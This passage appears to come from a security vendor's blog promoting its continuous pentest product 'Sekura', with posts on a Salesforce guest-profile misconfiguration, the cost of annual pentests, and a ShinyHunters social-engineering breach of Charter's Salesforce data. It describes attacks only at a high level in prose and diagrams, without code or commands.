  Portal-->>D: 200 OK, Contact records with PII fields returned
  D->>D: emit finding: unauthenticated PII access confirmed

The finding would state: the guest user profile on the franchise application portal returns Contact records including personal identifiers. No authentication is required. The proof is the response body from the query above.

We would not say the portal is probably misconfigured. We would show it is. That is the distinction proof-first makes.

The bigger pattern

This is a SaaS misconfiguration breach, not a software vulnerability. The pattern is predictable: an administrator set a permission profile when the franchise portal went live, possibly for a legitimate testing or support workflow. Over time the scope of that permission was never reviewed. The configuration drifted from intention.

I think this class of failure is underrepresented in most security programs. Organizations invest in SAST, DAST, and SCA for their own code. SaaS configuration surfaces get almost no continuous coverage. There are no tools watching Salesforce org settings the way a SAST scanner watches a repository on every commit.

ShinyHunters turned this gap into a systematic campaign. They ran AuraInspector across hundreds of organizations and found that many carried the same unchecked configuration. The technique requires no novel exploit. It requires only that a guest user profile is misconfigured and nobody has checked.

That pattern will not resolve on its own.

If you want to see what we would surface on your external attack surface, book a POC.

What an annual pentest actually costs

A typical engagement runs $30,000 to $150,000. That buys you two to four weeks of consultant time. The deliverable is a report.

That report ages immediately. The day the engagement ends, your team starts shipping code. New endpoints appear. Configurations change. Dependencies update.

By month three, the findings in the report describe a codebase you no longer have.

Here is what you are actually buying:

1. A snapshot of one attack surface at one point in time.
2. A PDF that answers questions from last quarter.
3. A compliance checkbox that expires in twelve months.
4. Remediation guidance that may not match your current architecture.
5. A repeat purchase next year to start over.

The cost per finding looks reasonable until you account for time.

The cost-per-finding math

Let us make this concrete. A $60,000 engagement that surfaces 20 valid vulnerabilities costs $3,000 per finding. That sounds acceptable.

But the finding is already stale when you read it. If your team takes four weeks to remediate, and the consultant found it in week one of the engagement, that vulnerability sat open for five weeks during the window, plus the months since your previous engagement.

The real cost is not dollars per finding. It is dollar-weeks of exposure per finding.

Continuous coverage changes both variables.

A continuous approach surfaces findings within hours of a code change. Remediation happens in the same sprint the vulnerability was introduced. The exposure window collapses from months to days.

I think that is the metric security buyers should be quoting to finance: not cost per report, but cost per verified finding per week of exposure.

A side-by-side comparison

Here is how the two models compare across the variables that matter to a CFO:

The annual model makes sense for compliance checkboxes with a specific date requirement. SOC 2 auditors want a report. That report needs a date. An annual engagement produces one.

But compliance is not the same thing as security.

What changes when coverage is continuous

Three things shift when you stop treating pentests as events:

1. Developers get feedback in the same sprint they introduced the issue. The context is fresh. The fix is faster.
2. Finance can model security spend as a predictable monthly line item rather than a lumpy capital expense.
3. The attack surface being tested is the one that exists right now, not the one that existed during last quarter's engagement.

I believe the annual pentest model persists not because it is the right answer, but because it is the familiar one. Buyers know how to evaluate a proposal from a consulting firm. The vendor selection process is legible. The invoice is predictable.

Continuous coverage requires a different mental model. The security team is no longer buying time from consultants. It is buying infrastructure.

That is a better trade. Infrastructure compounds. Time does not.

The flow below shows how Sekura handles the decision at scan time. No proof synthesized means no finding reported, which means no triage burden on your team.

flowchart TD
    A[Code change pushed] --> B[Scan triggered across 7 phases]
    B --> C{Exploit synthesized?}
    C -->|Yes| D[Finding reported with deterministic proof]
    C -->|No| E[Hypothesis discarded silently]
    D --> F[Developer fixes in same sprint]
    E --> G[No alert, no noise, no triage cost]
    F --> H[Verified remediation on next scan]

Choosing the right model

Annual engagements are not obsolete. Some use cases still warrant them.

If you need a human to attest to a specific scope for a specific compliance framework, a consulting firm is the right answer. PCI-DSS Qualified Security Assessors have specific credentialing requirements that autonomous tooling does not satisfy today.

If you are building a security program from scratch with no baseline, a single engagement can orient your team before you layer in continuous tooling.

The mistake is treating annual engagements as a substitute for continuous coverage rather than a complement. One snapshot per year is not a security posture. It is a compliance document.

The security posture comes from knowing what is exploitable right now.

Security spend, like any capital allocation, should be evaluated on return. The return on a pentest is verified findings and remediated risk. The question is how much exposure you are willing to accept between measurements. See how Sekura fits into your testing program at /vs/manual-pentest/.

The incident started on April 1, 2026. ShinyHunters placed a call to a Charter employee and socially engineered their way to valid credentials. That yielded an authenticated Microsoft Entra account. With it, the group accessed Charter's Salesforce instance and ran bulk data exports. Names, email addresses, phone numbers, home addresses, service plan details, and support ticket histories came out in the export. Charter confirmed the breach after ShinyHunters threatened to release the data unless a ransom was paid.

BleepingComputer reported that ShinyHunters claimed 42 million records total. Cybernews independently analyzed the leaked dataset and confirmed exposure for more than 13 million individuals, with roughly 27,000 employee records also present. Have I Been Pwned registered 4.9 million unique email addresses from the same set. Charter stated that no passwords and no payment information were included, and it contested that customer proprietary network information was in the export.

Two things are worth examining in the reporting.

What scanners would have missed

The attack produced no CVE. There was no memory corruption, no injectable field, no outdated library with a patch. ShinyHunters handed off a credential and made a legitimate API call. That attack surface does not appear in a scanner report.

Consider what a DAST tool sees when pointed at Charter's perimeter. It probes public endpoints without credentials. The Salesforce export API sits behind authentication. Without a valid session, the scanner cannot reach it. Without reaching it, it cannot ask what data comes back when an authenticated user calls the bulk export endpoint.

A SAST tool reads source code. Charter's customer data lives in Salesforce, a SaaS product. There is no custom code to analyze. The over-permissioned export was a configuration setting in Salesforce, not a bug in compiled logic.

SCA checks third-party library dependencies for known vulnerabilities. ShinyHunters did not exploit a library. They used a legitimate credential to call a legitimate API.

CVSS is not applicable here. There is no CVE to score. The Salesforce export permission that allowed any authenticated employee to download a table of 13 million customer records is not a vulnerability in the CVE taxonomy. It is a configuration choice. The CVSS model has no field for blast radius per compromised account. A scanner that scores everything by CVE will not surface a misconfiguration that only becomes visible from an authenticated session.

What Sekura would have shown

Phase 3 of Sekura's pipeline is dynamic probing. An agent operating with credentials equivalent to a standard employee account probes every authenticated endpoint available from that session, including the Salesforce API surface.

The specific finding Sekura would have produced: a single employee-class Salesforce session can invoke the bulk export endpoint and retrieve the full customer contact table with no additional authorization challenge. Dynamic probing walks the authenticated API surface systematically, calling endpoints and recording what data the server returns.

The finding would contain these items:

1. Endpoint: Salesforce bulk export API, accessed as Employee role session.
2. Data returned: full name, email, phone, home address, service plan, support ticket history.
3. Estimated scope: full customer table accessible from any valid employee session.
4. Blast radius: one socially engineered employee account reaches the entire customer dataset.
5. Exploit chain: vishing or phishing to account takeover to bulk API call. No privilege escalation required.

We would not report this with a CVSS score. We would attach a partial export as a proof artifact. The proof changes the conversation. A severity label on a scanner report does not tell you that one phone call from an attacker reaches 13 million records. A working export showing real field names does.

sequenceDiagram
  participant Attacker
  participant Employee as Charter Employee (Entra)
  participant SF as Salesforce Export API
  participant DB as Customer Table
  Attacker->>Employee: vishing call, harvests credentials
  Employee->>SF: authenticated session established
  SF->>DB: no additional authz check on bulk export
  DB-->>Attacker: 13M+ customer records exported

The bigger pattern

Charter is the third major US organization in the past two quarters where ShinyHunters moved from a single compromised identity to a SaaS bulk export without triggering an automated control. The pattern is consistent: a phone call or phishing email yields an authenticated cloud account, the account has access to a SaaS platform, and the SaaS platform has an export API with no per-session volume alert or rate limit.

This is an identity-first attack class. I think the gap that matters is not in your firewall or your application code. It is between your identity provider's authentication log and your SaaS platform's data access log. Those two logs are rarely correlated in real time. By the time an analyst sees an anomalous export event, the data is already staged for exfiltration.

The dominant attack surface in 2026 is not exploitable memory. It is over-permissioned SaaS access sitting behind an identity provider that a skilled social engineer can breach with a phone call.

If you want to see what an authenticated API surface looks like from an attacker's session, book a POC.